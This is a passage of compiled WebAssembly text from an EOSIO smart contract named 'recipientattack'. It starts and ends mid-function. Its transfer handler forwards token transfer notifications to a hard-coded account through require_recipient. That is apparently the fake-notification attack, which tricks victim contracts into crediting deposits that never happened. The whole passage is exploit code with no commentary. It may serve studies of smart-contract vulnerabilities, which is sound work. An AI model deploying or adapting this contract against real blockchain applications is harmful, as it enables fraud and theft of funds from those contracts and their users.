(set_local $8 158 | (i64.const 0) 159 | ) 160 | (br_if $label$2 161 | (i64.le_u 162 | (get_local $6) 163 | (i64.const 11) 164 | ) 165 | ) 166 | (br $label$1) 167 | ) 168 | (set_local $3 169 | (select 170 | (i32.add 171 | (get_local $3) 172 | (i32.const 208) 173 | ) 174 | (i32.const 0) 175 | (i32.lt_u 176 | (i32.and 177 | (i32.add 178 | (get_local $3) 179 | (i32.const -49) 180 | ) 181 | (i32.const 255) 182 | ) 183 | (i32.const 5) 184 | ) 185 | ) 186 | ) 187 | ) 188 | (set_local $8 189 | (i64.shr_s 190 | (i64.shl 191 | (i64.extend_u/i32 192 | (get_local $3) 193 | ) 194 | (i64.const 56) 195 | ) 196 | (i64.const 56) 197 | ) 198 | ) 199 | ) 200 | (set_local $8 201 | (i64.shl 202 | (i64.and 203 | (get_local $8) 204 | (i64.const 31) 205 | ) 206 | (i64.and 207 | (get_local $5) 208 | (i64.const 4294967295) 209 | ) 210 | ) 211 | ) 212 | ) 213 | (set_local $4 214 | (i32.add 215 | (get_local $4) 216 | (i32.const 1) 217 | ) 218 | ) 219 | (set_local $6 220 | (i64.add 221 | (get_local $6) 222 | (i64.const 1) 223 | ) 224 | ) 225 | (set_local $7 226 | (i64.or 227 | (get_local $8) 228 | (get_local $7) 229 | ) 230 | ) 231 | (br_if $label$0 232 | (i64.ne 233 | (tee_local $5 234 | (i64.add 235 | (get_local $5) 236 | (i64.const -5) 237 | ) 238 | ) 239 | (i64.const -6) 240 | ) 241 | ) 242 | ) 243 | (block $label$6 244 | (br_if $label$6 245 | (i64.ne 246 | (get_local $7) 247 | (get_local $2) 248 | ) 249 | ) 250 | (set_local $6 251 | (i64.const 0) 252 | ) 253 | (set_local $5 254 | (i64.const 59) 255 | ) 256 | (set_local $4 257 | (i32.const 32) 258 | ) 259 | (set_local $7 260 | (i64.const 0) 261 | ) 262 | (loop $label$7 263 | (block $label$8 264 | (block $label$9 265 | (block $label$10 266 | (block $label$11 267 | (block $label$12 268 | (br_if $label$12 269 | (i64.gt_u 270 | (get_local $6) 271 | (i64.const 4) 272 | ) 273 | ) 274 | (br_if $label$11 275 | (i32.gt_u 276 | (i32.and 277 | (i32.add 278 | (tee_local $3 279 | (i32.load8_s 280 | (get_local $4) 281 | ) 282 | ) 283 | (i32.const -97) 284 | ) 285 | (i32.const 255) 286 | ) 287 | (i32.const 25) 288 | ) 289 | ) 290 | (set_local $3 291 | (i32.add 292 | (get_local $3) 293 | (i32.const 165) 294 | ) 295 | ) 296 | (br $label$10) 297 | ) 298 | (set_local $8 299 | (i64.const 0) 300 | ) 301 | (br_if $label$9 302 | (i64.le_u 303 | (get_local $6) 304 | (i64.const 11) 305 | ) 306 | ) 307 | (br $label$8) 308 | ) 309 | (set_local $3 310 | (select 311 | (i32.add 312 | (get_local $3) 313 | (i32.const 208) 314 | ) 315 | (i32.const 0) 316 | (i32.lt_u 317 | (i32.and 318 | (i32.add 319 | (get_local $3) 320 | (i32.const -49) 321 | ) 322 | (i32.const 255) 323 | ) 324 | (i32.const 5) 325 | ) 326 | ) 327 | ) 328 | ) 329 | (set_local $8 330 | (i64.shr_s 331 | (i64.shl 332 | (i64.extend_u/i32 333 | (get_local $3) 334 | ) 335 | (i64.const 56) 336 | ) 337 | (i64.const 56) 338 | ) 339 | ) 340 | ) 341 | (set_local $8 342 | (i64.shl 343 | (i64.and 344 | (get_local $8) 345 | (i64.const 31) 346 | ) 347 | (i64.and 348 | (get_local $5) 349 | (i64.const 4294967295) 350 | ) 351 | ) 352 | ) 353 | ) 354 | (set_local $4 355 | (i32.add 356 | (get_local $4) 357 | (i32.const 1) 358 | ) 359 | ) 360 | (set_local $6 361 | (i64.add 362 | (get_local $6) 363 | (i64.const 1) 364 | ) 365 | ) 366 | (set_local $7 367 | (i64.or 368 | (get_local $8) 369 | (get_local $7) 370 | ) 371 | ) 372 | (br_if $label$7 373 | (i64.ne 374 | (tee_local $5 375 | (i64.add 376 | (get_local $5) 377 | (i64.const -5) 378 | ) 379 | ) 380 | (i64.const -6) 381 | ) 382 | ) 383 | ) 384 | (call $eosio_assert 385 | (i64.eq 386 | (get_local $7) 387 | (get_local $1) 388 | ) 389 | (i32.const 48) 390 | ) 391 | ) 392 | (set_local $6 393 | (i64.const 0) 394 | ) 395 | (set_local $5 396 | (i64.const 59) 397 | ) 398 | (set_local $4 399 | (i32.const 80) 400 | ) 401 | (set_local $7 402 | (i64.const 0) 403 | ) 404 | (loop $label$13 405 | (block $label$14 406 | (block $label$15 407 | (block $label$16 408 | (block $label$17 409 | (block $label$18 410 | (br_if $label$18 411 | (i64.gt_u 412 | (get_local $6) 413 | (i64.const 10) 414 | ) 415 | ) 416 | (br_if $label$17 417 | (i32.gt_u 418 | (i32.and 419 | (i32.add 420 | (tee_local $3 421 | (i32.load8_s 422 | (get_local $4) 423 | ) 424 | ) 425 | (i32.const -97) 426 | ) 427 | (i32.const 255) 428 | ) 429 | (i32.const 25) 430 | ) 431 | ) 432 | (set_local $3 433 | (i32.add 434 | (get_local $3) 435 | (i32.const 165) 436 | ) 437 | ) 438 | (br $label$16) 439 | ) 440 | (set_local $8 441 | (i64.const 0) 442 | ) 443 | (br_if $label$15 444 | (i64.eq 445 | (get_local $6) 446 | (i64.const 11) 447 | ) 448 | ) 449 | (br $label$14) 450 | ) 451 | (set_local $3 452 | (select 453 | (i32.add 454 | (get_local $3) 455 | (i32.const 208) 456 | ) 457 | (i32.const 0) 458 | (i32.lt_u 459 | (i32.and 460 | (i32.add 461 | (get_local $3) 462 | (i32.const -49) 463 | ) 464 | (i32.const 255) 465 | ) 466 | (i32.const 5) 467 | ) 468 | ) 469 | ) 470 | ) 471 | (set_local $8 472 | (i64.shr_s 473 | (i64.shl 474 | (i64.extend_u/i32 475 | (get_local $3) 476 | ) 477 | (i64.const 56) 478 | ) 479 | (i64.const 56) 480 | ) 481 | ) 482 | ) 483 | (set_local $8 484 | (i64.shl 485 | (i64.and 486 | (get_local $8) 487 | (i64.const 31) 488 | ) 489 | (i64.and 490 | (get_local $5) 491 | (i64.const 4294967295) 492 | ) 493 | ) 494 | ) 495 | ) 496 | (set_local $4 497 | (i32.add 498 | (get_local $4) 499 | (i32.const 1) 500 | ) 501 | ) 502 | (set_local $5 503 | (i64.add 504 | (get_local $5) 505 | (i64.const -5) 506 | ) 507 | ) 508 | (set_local $7 509 | (i64.or 510 | (get_local $8) 511 | (get_local $7) 512 | ) 513 | ) 514 | (br_if $label$13 515 | (i64.ne 516 | (tee_local $6 517 | (i64.add 518 | (get_local $6) 519 | (i64.const 1) 520 | ) 521 | ) 522 | (i64.const 13) 523 | ) 524 | ) 525 | ) 526 | (block $label$19 527 | (br_if $label$19 528 | (i64.ne 529 | (get_local $7) 530 | (get_local $1) 531 | ) 532 | ) 533 | (set_local $6 534 | (i64.const 0) 535 | ) 536 | (set_local $5 537 | (i64.const 59) 538 | ) 539 | (set_local $4 540 | (i32.const 96) 541 | ) 542 | (set_local $7 543 | (i64.const 0) 544 | ) 545 | (loop $label$20 546 | (block $label$21 547 | (block $label$22 548 | (block $label$23 549 | (block $label$24 550 | (block $label$25 551 | (br_if $label$25 552 | (i64.gt_u 553 | (get_local $6) 554 | (i64.const 7) 555 | ) 556 | ) 557 | (br_if $label$24 558 | (i32.gt_u 559 | (i32.and 560 | (i32.add 561 | (tee_local $3 562 | (i32.load8_s 563 | (get_local $4) 564 | ) 565 | ) 566 | (i32.const -97) 567 | ) 568 | (i32.const 255) 569 | ) 570 | (i32.const 25) 571 | ) 572 | ) 573 | (set_local $3 574 | (i32.add 575 | (get_local $3) 576 | (i32.const 165) 577 | ) 578 | ) 579 | (br $label$23) 580 | ) 581 | (set_local $8 582 | (i64.const 0) 583 | ) 584 | (br_if $label$22 585 | (i64.le_u 586 | (get_local $6) 587 | (i64.const 11) 588 | ) 589 | ) 590 | (br $label$21) 591 | ) 592 | (set_local $3 593 | (select 594 | (i32.add 595 | (get_local $3) 596 | (i32.const 208) 597 | ) 598 | (i32.const 0) 599 | (i32.lt_u 600 | (i32.and 601 | (i32.add 602 | (get_local $3) 603 | (i32.const -49) 604 | ) 605 | (i32.const 255) 606 | ) 607 | (i32.const 5) 608 | ) 609 | ) 610 | ) 611 | ) 612 | (set_local $8 613 | (i64.shr_s 614 | (i64.shl 615 | (i64.extend_u/i32 616 | (get_local $3) 617 | ) 618 | (i64.const 56) 619 | ) 620 | (i64.const 56) 621 | ) 622 | ) 623 | ) 624 | (set_local $8 625 | (i64.shl 626 | (i64.and 627 | (get_local $8) 628 | (i64.const 31) 629 | ) 630 | (i64.and 631 | (get_local $5) 632 | (i64.const 4294967295) 633 | ) 634 | ) 635 | ) 636 | ) 637 | (set_local $4 638 | (i32.add 639 | (get_local $4) 640 | (i32.const 1) 641 | ) 642 | ) 643 | (set_local $6 644 | (i64.add 645 | (get_local $6) 646 | (i64.const 1) 647 | ) 648 | ) 649 | (set_local $7 650 | (i64.or 651 | (get_local $8) 652 | (get_local $7) 653 | ) 654 | ) 655 | (br_if $label$20 656 | (i64.ne 657 | (tee_local $5 658 | (i64.add 659 | (get_local $5) 660 | (i64.const -5) 661 | ) 662 | ) 663 | (i64.const -6) 664 | ) 665 | ) 666 | ) 667 | (br_if $label$19 668 | (i64.ne 669 | (get_local $7) 670 | (get_local $2) 671 | ) 672 | ) 673 | (i64.store offset=24 674 | (get_local $9) 675 | (get_local $0) 676 | ) 677 | (br_if $label$19 678 | (i64.ne 679 | (get_local $2) 680 | (i64.const -3617168760277827584) 681 | ) 682 | ) 683 | (i32.store offset=20 684 | (get_local $9) 685 | (i32.const 0) 686 | ) 687 | (i32.store offset=16 688 | (get_local $9) 689 | (i32.const 1) 690 | ) 691 | (i64.store offset=8 align=4 692 | (get_local $9) 693 | (i64.load offset=16 694 | (get_local $9) 695 | ) 696 | ) 697 | (drop 698 | (call $_ZN5eosio14execute_actionI15recipientattackS1_JyyNS_5assetENSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEEEEbPT_MT0_FvDpT1_E 699 | (i32.add 700 | (get_local $9) 701 | (i32.const 24) 702 | ) 703 | (i32.add 704 | (get_local $9) 705 | (i32.const 8) 706 | ) 707 | ) 708 | ) 709 | ) 710 | (i32.store offset=4 711 | (i32.const 0) 712 | (i32.add 713 | (get_local $9) 714 | (i32.const 32) 715 | ) 716 | ) 717 | ) 718 | (func $_ZN15recipientattack8transferEyyN5eosio5assetENSt3__112basic_stringIcNS2_11char_traitsIcEENS2_9allocatorIcEEEE (type $FUNCSIG$vijjii) (param $0 i32) (param $1 i64) (param $2 i64) (param $3 i32) (param $4 i32) 719 | (local $5 i32) 720 | (local $6 i64) 721 | (local $7 i64) 722 | (block $label$0 723 | (br_if $label$0 724 | (i64.eq 725 | (tee_local $7 726 | (i64.load 727 | (get_local $0) 728 | ) 729 | ) 730 | (get_local $1) 731 | ) 732 | ) 733 | (br_if $label$0 734 | (i64.ne 735 | (get_local $7) 736 | (get_local $2) 737 | ) 738 | ) 739 | (set_local $1 740 | (i64.const 0) 741 | ) 742 | (set_local $2 743 | (i64.const 59) 744 | ) 745 | (set_local $0 746 | (i32.const 240) 747 | ) 748 | (set_local $6 749 | (i64.const 0) 750 | ) 751 | (loop $label$1 752 | (set_local $7 753 | (i64.const 0) 754 | ) 755 | (block $label$2 756 | (br_if $label$2 757 | (i64.gt_u 758 | (get_local $1) 759 | (i64.const 11) 760 | ) 761 | ) 762 | (block $label$3 763 | (block $label$4 764 | (br_if $label$4 765 | (i32.gt_u 766 | (i32.and 767 | (i32.add 768 | (tee_local $5 769 | (i32.load8_s 770 | (get_local $0) 771 | ) 772 | ) 773 | (i32.const -97) 774 | ) 775 | (i32.const 255) 776 | ) 777 | (i32.const 25) 778 | ) 779 | ) 780 | (set_local $5 781 | (i32.add 782 | (get_local $5) 783 | (i32.const 165) 784 | ) 785 | ) 786 | (br $label$3) 787 | ) 788 | (set_local $5 789 | (select 790 | (i32.add 791 | (get_local $5) 792 | (i32.const 208) 793 | ) 794 | (i32.const 0) 795 | (i32.lt_u 796 | (i32.and 797 | (i32.add 798 | (get_local $5) 799 | (i32.const -49) 800 | ) 801 | (i32.const 255) 802 | ) 803 | (i32.const 5) 804 | ) 805 | ) 806 | ) 807 | ) 808 | (set_local $7 809 | (i64.shl 810 | (i64.extend_u/i32 811 | (i32.and 812 | (get_local $5) 813 | (i32.const 31) 814 | ) 815 | ) 816 | (i64.and 817 | (get_local $2) 818 | (i64.const 4294967295) 819 | ) 820 | ) 821 | ) 822 | ) 823 | (set_local $0 824 | (i32.add 825 | (get_local $0) 826 | (i32.const 1) 827 | ) 828 | ) 829 | (set_local $1 830 | (i64.add 831 | (get_local $1) 832 | (i64.const 1) 833 | ) 834 | ) 835 | (set_local $6 836 | (i64.or 837 | (get_local $7) 838 | (get_local $6) 839 | ) 840 | ) 841 | (br_if $label$1 842 | (i64.ne 843 | (tee_local $2 844 | (i64.add 845 | (get_local $2) 846 | (i64.const -5) 847 | ) 848 | ) 849 | (i64.const -6) 850 | ) 851 | ) 852 | ) 853 | (call $require_recipient 854 | (get_local $6) 855 | ) 856 | ) 857 | ) 858 | (func $_ZN5eosio14execute_actionI15recipientattackS1_JyyNS_5assetENSt3__112basic_stringIcNS3_11char_traitsIcEENS3_9allocatorIcEEEEEEEbPT_MT0_FvDpT1_E (param $0 i32) (param $1 i32) (result i32) 859 | (local $2 i32) 860 | (local $3 i64) 861 | (local $4 i32) 862 | (local $5 i32) 863 | (i32.store offset=4 864 | (i32.const 0) 865 | (tee_local $4 866 | (i32.sub 867 | (i32.load offset=4 868 | (i32.const 0) 869 | ) 870 | (i32.const 96) 871 | ) 872 | ) 873 | ) 874 | (i32.store offset=60 875 | (tee_local $5 876 | (get_local $4) 877 | ) 878 | (get_local $0) 879 | ) 880 | (i32.store offset=48 881 | (get_local $5) 882 | (i32.load 883 | (get_local $1) 884 | ) 885 | ) 886 | (i32.store offset=52 887 | (get_local $5) 888 | (i32.load offset=4 889 | (get_local $1) 890 | ) 891 | ) 892 | (set_local $1 893 | (i32.const 0) 894 | ) 895 | (set_local $0 896 | (i32.const 0) 897 | ) 898 | (block $label$0 899 | (br_if $label$0 900 | (i32.eqz 901 | (tee_local $2 902 | (call $action_data_size) 903 | ) 904 | ) 905 | ) 906 | (block $label$1 907 | (block $label$2 908 | (br_if $label$2 909 | (i32.lt_u 910 | (get_local $2) 911 | (i32.const 513) 912 | ) 913 | ) 914 | (set_local $0 915 | (call $malloc 916 | (get_local $2) 917 | ) 918 | ) 919 | (br $label$1) 920 | ) 921 | (i32.store offset=4 922 | (i32.const 0) 923 | (tee_local $0 924 | (i32.sub 925 | (get_local $4) 926 | (i32.and 927 | (i32.add 928 | (get_local $2) 929 | (i32.const 15) 930 | ) 931 | (i32.const -16) 932 | ) 933 | ) 934 | ) 935 | ) 936 | ) 937 | (drop 938 | (call $read_action_data 939 | (get_local $0) 940 | (get_local $2) 941 | ) 942 | ) 943 | ) 944 | (i64.store 945 | (i32.add 946 | (get_local $5) 947 | (i32.const 24) 948 | ) 949 | (i64.const 1398362884) 950 | ) 951 | (i64.store offset=8 952 | (get_local $5) 953 | (i64.const 0) 954 | ) 955 | (i64.store 956 | (get_local $5) 957 | (i64.const 0) 958 | ) 959 | (i64.store offset=16 960 | (get_local $5) 961 | (i64.const 0) 962 | ) 963 | (call $eosio_assert 964 | (i32.const 1) 965 | (i32.const 112) 966 | ) 967 | (set_local $3 968 | (i64.const 5462355) 969 | ) 970 | (block $label$3 971 | (block $label$4 972 | (loop $label$5 973 | (br_if $label$4 974 | (i32.gt_u 975 | (i32.add 976 | (i32.shl 977 | (i32.wrap/i64 978 | (get_local $3) 979 | ) 980 | (i32.const 24) 981 | ) 982 | (i32.const -1073741825) 983 | ) 984 | (i32.const 452984830) 985 | ) 986 | ) 987 | (block $label$6 988 | (br_if $label$6 989 | (i64.ne 990 | (i64.and 991 | (tee_local $3 992 | (i64.shr_u 993 | (get_local $3) 994 | (i64.const 8) 995 | ) 996 | ) 997 | (i64.const 255) 998 | ) 999 | (i64.const 0) 1000 | ) 1001 | ) 1002 | (loop $label$7 1003 | (br_if $label$4 1004 | (i64.ne 1005 | (i64.and 1006 | (tee_local $3 1007 | (i64.shr_u 1008 | (get_local $3) 1009 | (i64.const 8) 1010 | ) 1011 | ) 1012 | (i64.const 255) 1013 | ) 1014 | (i64.const 0) 1015 | ) 1016 | ) 1017 | (br_if $label$7 1018 | (i32.lt_s 1019 | (tee_local $1 1020 | (i32.add 1021 | (get_local $1) 1022 | (i32.const 1) 1023 | ) 1024 | ) 1025 | (i32.const 7) 1026 | ) 1027 | ) 1028 | ) 1029 | ) 1030 | (set_local $4 1031 | (i32.const 1) 1032 | ) 1033 | (br_if $label$5 1034 | (i32.lt_s 1035 | (tee_local $1 1036 | (i32.add 1037 | (get_local $1) 1038 | (i32.const 1) 1039 | ) 1040 | ) 1041 | (i32.const 7) 1042 | ) 1043 | ) 1044 | (br $label$3) 1045 | ) 1046 | ) 1047 | (set_local $4 1048 | (i32.const 0) 1049 | ) 1050 | ) 1051 | (call $eosio_assert 1052 | (get_local $4) 1053 | (i32.const 176) 1054 | ) 1055 | (i32.store 1056 | (i32.add 1057 | (get_local $5) 1058 | (i32.const 40) 1059 | ) 1060 | (i32.const 0) 1061 | ) 1062 | (i64.store offset=32 1063 | (get_local $5) 1064 | (i64.const 0) 1065 | ) 1066 | (i32.store offset=68 1067 | (get_local $5) 1068 | (get_local $0) 1069 | ) 1070 | (i32.store offset=64 1071 | (get_local $5) 1072 | (get_local $0) 1073 | ) 1074 | (i32.store offset=72 1075 | (get_local $5) 1076 | (i32.add 1077 | (get_local $0) 1078 | (get_local $2) 1079 | ) 1080 | ) 1081 | (i32.store offset=80 1082 | (get_local $5) 1083 | (i32.add 1084 | (get_local $5) 1085 | (i32.const 64) 1086 | ) 1087 | ) 1088 | (i32.store offset=88 1089 | (get_local $5) 1090 | (get_local $5) 1091 | ) 1092 | (call $_ZN5boost6fusion6detail17for_each_unrolledILi4EE4callINS0_18std_tuple_iteratorINSt3__15tupleIJyyN5eosio5assetENS6_12basic_stringIcNS6_11char_traitsIcEENS6_9allocatorIcEEEEEEELi0EEEZNS8_rsINS8_10datastreamIPKcEEJyyS9_SF_EEERT_SO_RNS7_IJDpT0_EEEEUlSO_E_EEvRKSN_RKT0_ 1093 | (i32.add 1094 | (get_local $5) 1095 | (i32.const 88) 1096 | ) 1097 | (i32.add 1098 | (get_local $5) 1099 | (i32.const 80) 1100 | ) 1101 | ) 1102 | (block $label$8 1103 | (br_if $label$8 1104 | (i32.lt_u 1105 | (get_local $2) 1106 | (i32.const 513) 1107 | ) 1108 | ) 1109 | (call $free 1110 | (get_local $0) 1111 | ) 1112 | ) 1113 | (i32.store offset=68 1114 | (get_local $5) 1115 | (i32.add 1116 | (get_local $5) 1117 | (i32.const 48) 1118 | ) 1119 | ) 1120 | (i32.store offset=64 1121 | (get_local $5) 1122 | (i32.add 1123 | (get_local $5) 1124 | (i32.const 60) 1125 | ) 1126 | ) 1127 | (call $_ZN5boost4mp116detail16tuple_apply_implIRZN5eosio14execute_actionI15recipientattackS5_JyyNS3_5assetENSt3__112basic_stringIcNS7_11char_traitsIcEENS7_9allocatorIcEEEEEEEbPT_MT0_FvDpT1_EEUlDpT_E_RNS7_5tupleIJyyS6_SD_EEEJLj0ELj1ELj2ELj3EEEEDTclclsr3stdE7forwardISE_Efp_Espclsr3stdE3getIXT1_EEclsr3stdE7forwardISG_Efp0_EEEEOSE_OSG_NS0_16integer_sequenceIjJXspT1_EEEE 1128 | (i32.add 1129 | (get_local $5) 1130 | (i32.const 64) 1131 | ) 1132 | (get_local $5) 1133 | ) 1134 | (block $label$9 1135 | (br_if $label$9 1136 | (i32.eqz 1137 | (i32.and 1138 | (i32.load8_u offset=32 1139 | (get_local $5) 1140 | ) 1141 | (i32.const 1) 1142 | ) 1143 | ) 1144 | ) 1145 | (call $_ZdlPv 1146 | (i32.load 1147 | (i32.add 1148 | (get_local $5) 1149 | (i32.const 40) 1150 | ) 1151 | ) 1152 | ) 1153 | ) 1154 | (i32.store offset=4 1155 | (i32.const 0) 1156 | (i32.add 1157 | (get_local $5) 1158 | (i32.const 96) 1159 | ) 1160 | ) 1161 | (i32.const 1) 1162 | ) 1163 | (func $_ZN5boost6fusion6detail17for_each_unrolledILi4EE4callINS0_18std_tuple_iteratorINSt3__15tupleIJyyN5eosio5assetENS6_12basic_stringIcNS6_11char_traitsIcEENS6_9allocatorIcEEEEEEELi0EEEZNS8_rsINS8_10datastreamIPKcEEJyyS9_SF_EEERT_SO_RNS7_IJDpT0_EEEEUlSO_E_EEvRKSN_RKT0_ (param $0 i32) (param $1 i32) 1164 | (local $2 i32) 1165 | (local $3 i32) 1166 | (set_local $2 1167 | (i32.load 1168 | (get_local $0) 1169 | ) 1170 | ) 1171 | (call $eosio_assert 1172 | (i32.gt_u 1173 | (i32.sub 1174 | (i32.load offset=8 1175 | (tee_local $3 1176 | (i32.load 1177 | (get_local $1) 1178 | ) 1179 | ) 1180 | ) 1181 | (i32.load offset=4 1182 | (get_local $3) 1183 | ) 1184 | ) 1185 | (i32.const 7) 1186 | ) 1187 | (i32.const 208) 1188 | ) 1189 | (drop 1190 | (call $memcpy 1191 | (get_local $2) 1192 | (i32.load offset=4 1193 | (get_local $3) 1194 | ) 1195 | (i32.const 8) 1196 | ) 1197 | ) 1198 | (i32.store offset=4 1199 | (get_local $3) 1200 | (i32.add 1201 | (i32.load offset=4 1202 | (get_local $3) 1203 | ) 1204 | (i32.const 8) 1205 | ) 1206 | ) 1207 | (set_local $0 1208 | (i32.load 1209 | (get_local $0) 1210 | ) 1211 | ) 1212 | (call $eosio_assert 1213 | (i32.gt_u 1214 | (i32.sub 1215 | (i32.load offset=8 1216 | (tee_local $3 1217 | (i32.load 1218 | (get_local $1) 1219 | ) 1220 | ) 1221 | ) 1222 | (i32.load offset=4 1223 | (get_local $3) 1224 | ) 1225 | ) 1226 | (i32.const 7) 1227 | ) 1228 | (i32.const 208) 1229 | ) 1230 | (drop 1231 | (call $memcpy 1232 | (i32.add 1233 | (get_local $0) 1234 | (i32.const 8) 1235 | ) 1236 | (i32.load offset=4 1237 | (get_local $3) 1238 | ) 1239 | (i32.const 8) 1240 | ) 1241 | ) 1242 | (i32.store offset=4 1243 | (get_local $3) 1244 | (i32.add 1245 | (i32.load offset=4 1246 | (get_local $3) 1247 | ) 1248 | (i32.const 8) 1249 | ) 1250 | ) 1251 | (call $eosio_assert 1252 | (i32.gt_u 1253 | (i32.sub 1254 | (i32.load offset=8 1255 | (tee_local $3 1256 | (i32.load 1257 | (get_local $1) 1258 | ) 1259 | ) 1260 | ) 1261 | (i32.load offset=4 1262 | (get_local $3) 1263 | ) 1264 | ) 1265 | (i32.const 7) 1266 | ) 1267 | (i32.const 208) 1268 | ) 1269 | (drop 1270 | (call $memcpy 1271 | (i32.add 1272 | (get_local $0) 1273 | (i32.const 16) 1274 | ) 1275 | (i32.load offset=4 1276 | (get_local $3) 1277 | ) 1278 | (i32.const 8) 1279 | ) 1280 | ) 1281 | (i32.store offset=4 1282 | (get_local $3) 1283 | (tee_local $2 1284 | (i32.add 1285 | (i32.load offset=4 1286 | (get_local $3) 1287 | ) 1288 | (i32.const 8) 1289 | ) 1290 | ) 1291 | ) 1292 | (call $eosio_assert 1293 | (i32.gt_u 1294 | (i32.sub 1295 | (i32.load offset=8 1296 | (get_local $3) 1297 | ) 1298 | (get_local $2) 1299 | ) 1300 | (i32.const 7) 1301 | ) 1302 | (i32.const 208) 1303 | ) 1304 | (drop 1305 | (call $memcpy 1306 | (i32.add 1307 | (get_local $0) 1308 | (i32.const 24) 1309 | ) 1310 | (i32.load offset=4 1311 | (get_local $3) 1312 | ) 1313 | (i32.const 8) 1314 | ) 1315 | ) 1316 | (i32.store offset=4 1317 | (get_local $3) 1318 | (i32.add 1319 | (i32.load offset=4 1320 | (get_local $3) 1321 | ) 1322 | (i32.const 8) 1323 | ) 1324 | ) 1325 | (drop 1326 | (call $_ZN5eosiorsINS_10datastreamIPKcEEEERT_S6_RNSt3__112basic_stringIcNS7_11char_traitsIcEENS7_9allocatorIcEEEE 1327 | (i32.load 1328 | (get_local $1) 1329 | ) 1330 | (i32.add 1331 | (get_local $0) 1332 | (i32.const 32) 1333 | ) 1334 | ) 1335 | ) 1336 | ) 1337 | (func $_ZN5boost4mp116detail16tuple_apply_implIRZN5eosio14execute_actionI15recipientattackS5_JyyNS3_5assetENSt3__112basic_stringIcNS7_11char_traitsIcEENS7_9allocatorIcEEEEEEEbPT_MT0_FvDpT1_EEUlDpT_E_RNS7_5tupleIJyyS6_SD_EEEJLj0ELj1ELj2ELj3EEEEDTclclsr3stdE7forwardISE_Efp_Espclsr3stdE3getIXT1_EEclsr3stdE7forwardISG_Efp0_EEEEOSE_OSG_NS0_16integer_sequenceIjJXspT1_EEEE (param $0 i32) (param $1 i32) 1338 | (local $2 i64) 1339 | (local $3 i64) 1340 | (local $4 i32) 1341 | (local $5 i32) 1342 | (i32.store offset=4 1343 | (i32.const 0) 1344 | (tee_local $5 1345 | (i32.sub 1346 | (i32.load offset=4 1347 | (i32.const 0) 1348 | ) 1349 | (i32.const 96) 1350 | ) 1351 | ) 1352 | ) 1353 | (i32.store 1354 | (i32.add 1355 | (get_local $5) 1356 | (i32.const 44) 1357 | ) 1358 | (i32.load 1359 | (i32.add 1360 | (get_local $1) 1361 | (i32.const 28) 1362 | ) 1363 | ) 1364 | ) 1365 | (i32.store 1366 | (tee_local $4 1367 | (i32.add 1368 | (i32.add 1369 | (get_local $5) 1370 | (i32.const 32) 1371 | ) 1372 | (i32.const 8) 1373 | ) 1374 | ) 1375 | (i32.load 1376 | (i32.add 1377 | (get_local $1) 1378 | (i32.const 24) 1379 | ) 1380 | ) 1381 | ) 1382 | (i32.store offset=32 1383 | (get_local $5) 1384 | (i32.load offset=16 1385 | (get_local $1) 1386 | ) 1387 | ) 1388 | (i32.store offset=36 1389 | (get_local $5) 1390 | (i32.load 1391 | (i32.add 1392 | (get_local $1) 1393 | (i32.const 20) 1394 | ) 1395 | ) 1396 | ) 1397 | (set_local $3 1398 | (i64.load offset=8 1399 | (get_local $1) 1400 | ) 1401 | ) 1402 | (set_local $2 1403 | (i64.load 1404 | (get_local $1) 1405 | ) 1406 | ) 1407 | (drop 1408 | (call $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_ 1409 | (i32.add 1410 | (get_local $5) 1411 | (i32.const 16) 1412 | ) 1413 | (i32.add 1414 | (get_local $1) 1415 | (i32.const 32) 1416 | ) 1417 | ) 1418 | ) 1419 | (i64.store 1420 | (i32.add 1421 | (i32.add 1422 | (get_local $5) 1423 | (i32.const 48) 1424 | ) 1425 | (i32.const 8) 1426 | ) 1427 | (i64.load 1428 | (get_local $4) 1429 | ) 1430 | ) 1431 | (i64.store offset=48 1432 | (get_local $5) 1433 | (i64.load offset=32 1434 | (get_local $5) 1435 | ) 1436 | ) 1437 | (set_local $0 1438 | (i32.add 1439 | (i32.load 1440 | (i32.load 1441 | (get_local $0) 1442 | ) 1443 | ) 1444 | (i32.shr_s 1445 | (tee_local $4 1446 | (i32.load offset=4 1447 | (tee_local $1 1448 | (i32.load offset=4 1449 | (get_local $0) 1450 | ) 1451 | ) 1452 | ) 1453 | ) 1454 | (i32.const 1) 1455 | ) 1456 | ) 1457 | ) 1458 | (set_local $1 1459 | (i32.load 1460 | (get_local $1) 1461 | ) 1462 | ) 1463 | (block $label$0 1464 | (br_if $label$0 1465 | (i32.eqz 1466 | (i32.and 1467 | (get_local $4) 1468 | (i32.const 1) 1469 | ) 1470 | ) 1471 | ) 1472 | (set_local $1 1473 | (i32.load 1474 | (i32.add 1475 | (i32.load 1476 | (get_local $0) 1477 | ) 1478 | (get_local $1) 1479 | ) 1480 | ) 1481 | ) 1482 | ) 1483 | (i64.store 1484 | (tee_local $4 1485 | (i32.add 1486 | (i32.add 1487 | (get_local $5) 1488 | (i32.const 80) 1489 | ) 1490 | (i32.const 8) 1491 | ) 1492 | ) 1493 | (i64.load 1494 | (i32.add 1495 | (i32.add 1496 | (get_local $5) 1497 | (i32.const 48) 1498 | ) 1499 | (i32.const 8) 1500 | ) 1501 | ) 1502 | ) 1503 | (i64.store offset=80 1504 | (get_local $5) 1505 | (i64.load offset=48 1506 | (get_local $5) 1507 | ) 1508 | ) 1509 | (drop 1510 | (call $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_ 1511 | (i32.add 1512 | (get_local $5) 1513 | (i32.const 64) 1514 | ) 1515 | (i32.add 1516 | (get_local $5) 1517 | (i32.const 16) 1518 | ) 1519 | ) 1520 | ) 1521 | (i64.store 1522 | (i32.add 1523 | (get_local $5) 1524 | (i32.const 8) 1525 | ) 1526 | (i64.load 1527 | (get_local $4) 1528 | ) 1529 | ) 1530 | (i64.store 1531 | (get_local $5) 1532 | (i64.load offset=80 1533 | (get_local $5) 1534 | ) 1535 | ) 1536 | (call_indirect (type $FUNCSIG$vijjii) 1537 | (get_local $0) 1538 | (get_local $2) 1539 | (get_local $3) 1540 | (get_local $5) 1541 | (i32.add 1542 | (get_local $5) 1543 | (i32.const 64) 1544 | ) 1545 | (get_local $1) 1546 | ) 1547 | (block $label$1 1548 | (br_if $label$1 1549 | (i32.eqz 1550 | (i32.and 1551 | (i32.load8_u offset=64 1552 | (get_local $5) 1553 | ) 1554 | (i32.const 1) 1555 | ) 1556 | ) 1557 | ) 1558 | (call $_ZdlPv 1559 | (i32.load offset=72 1560 